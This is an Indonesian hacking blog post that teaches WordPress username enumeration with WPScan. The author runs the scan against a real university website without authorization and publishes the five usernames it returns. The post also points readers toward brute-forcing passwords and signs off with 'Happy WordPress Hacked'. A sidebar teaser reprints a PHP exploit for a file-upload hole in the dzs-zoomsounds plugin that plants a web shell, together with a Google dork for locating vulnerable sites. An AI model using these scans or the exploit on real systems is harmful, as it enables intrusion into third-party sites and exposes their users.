Skip to main content

Cara mendapatkan Username Website berBasis CMS WordPress dengan WPScan di Kali Linux

By
Hallo Fans, Nuenomaru disini .-.
maaf baru bisa posting/share artikel tutorial lagi.
lg sibuk urus masadepan *asiikk wkwkwk

untuk artikel hari ini saya akan share salah satu bug/celah web berbasisCMS Wordpress :D
kali ini Nue akan memberikan tutorial cara mendapatkan Username pada website yang menggunakan CMS Wordpress.

WPScan ini di gunakan untuk mengetahui username pada CMS Wordpress dan juga bisa mengetahui Password, namun jika ingin mengetahui passwordnya harus mempunyai wordlist nya.

yaaachh kayak BruteForce Attack.

WPScan o.O ?? *xixixhi ini tutorial lama sih wkwkw, baru kepikiran buat di post dimarii.


Lansung intip Tutorialnya ;*

Pertama" buka Terminal dan ketik kan
wpscan -u (target) --enumerate u
disini Nue menggunakan target salah satu Universitas, *target bisa kalian ganti dgn target web wordpress anda.
jadi :

 wpscan -u http://unnes.ac.id/ --enumerate u
 

NB: pada --enumerate u , Huruf "U" itu berarti Username, Jika untuk mencari Password ganti aja dengan Huruf "P".

Selanjutnya tunggu hingga scanning nya selesai.


Jika Sudah selesai akan muncul seperti ini.


Done ~


Disini saya menemukan 5 Username, yaitu
- adminin
- em2ka
- riki
- kartika
- sihono

Mudah kan o.O ?
Stay Cool and Keep Crotz , gaes :'v
Salam para penjinak pinguin :v , Penunggang Naga,  Viva Real Tux Warrior Gaes :'v wkkwkwkw

bila ada kesalahan mohon di maafkan dan dibenarkan di kolom komentar kak. 
bila ada kritik, dan pertanyaan langsung aja kak ke wall fanspage kami: TKJ CYBER ART
Nue cuma niat untuk Share Tutorial, yg bertujuan utk membantu para pemula kek Nue :')
Happy WordPress Hacked !!
Sekian dan semoga bermanfaat .. terimakasih


source and thanks to: Anherr Blog's





./Nuenomaru




















Visit and follow :

FP         : TKJ Cyber Art
G+         : TKJ Cyber Art
youtube : TKJ Cyber Art
BBM      : C0018D1A2
Labels:

Comments

Post a Comment

Popular posts from this blog

How to Install CloudSim in Ubuntu (in 3 easy steps)

By
The contents of this DIY has been tested on Ubuntu 12.04 LTS x64 with CloudSim 3.0.3 beta and JDK8u11 x64. It should work similarly on other distros of Ubuntu and for different version of JDK as long as you use Java version 1.5 or newer. The text shown in RED in the DIY represents the values that will differ depending upon your JDK version and locations. CloudSim is a framework for modelling and simulating cloud computing infrastructure and services. In this DIY we will see how to install CloudSim in Windows easily and efficiently. A more detailed description, APIs and research papers related to CloudSim can be found here . Let us begin. Step 1: Setting up the Prerequisites 1. First of all we need to download the CloudSim and latest version of the Java Development Toolkit (JDK). CloudSim can be found here . 2. CloudSim requires a working Java installation. So, open up a terminal and run the following 1 sudo add-apt-repository ppa:webupd8team/java 2 sudo apt-get...
Post a Comment
Read more

WordPress dzs-zoomsounds Plugins <= 2.0 - Remote File Upload Vulnerability

By
################################################################################################### # Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability # Vendor : http: //digitalzoomstudio.net/docs/wpzoomsounds/ # Author: bl4ck-dz # Date : 28/05/2015 # Infected File: upload.php # Category: webapps # Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/ # Tested on : Linux | Windows ################################################################################################### <?php $evil = "dz.phtml" ; $ch = curl_init( "http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php" ); curl_setopt( $ch , CURLOPT_POST, true); curl_setopt( $ch , CURLOPT_POSTFIELDS,          array ( 'file_field' => "@$evil" )); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec( $ch ); curl_close( $ch ); echo "$postResult" ; ?> Shell Access : http: //127.0.0.1/wp-content/plugins/dzs-zoo...
Post a Comment
Read more

How To Add or Remove System Icons From The Kali Linux Desktop

By
When Kali Linux is started, there are always one or more system icons on the desktop. “Computer” is usually a default icon. However, some people might like to remove this icon and/or add other icons like the famous “Trash” icon. All the other tutorials will tell you to use the Linux, “gconfig-editor,” but Kali Linux does not have this system editor! I believe I am the only one who knows of a way to do this, so let me share my knowledge in this simple tutorial. Step one: Start and login to Kali Linux using your account or the “root” account. Step two: Open the main menu. Hover your mouse on “System Tools,” and click on “dconf Editor.” After a few seconds, the dconf Editor will open. Now all you have to do is browse to the correct category and set the options. Step three: When the dconf Editor window opens, click on the plus sign next to “org” (located in the left pane). Step four: Now click the plus sign next to “gnome.” Step five: Scroll down the list in the left pan...
Post a Comment
Read more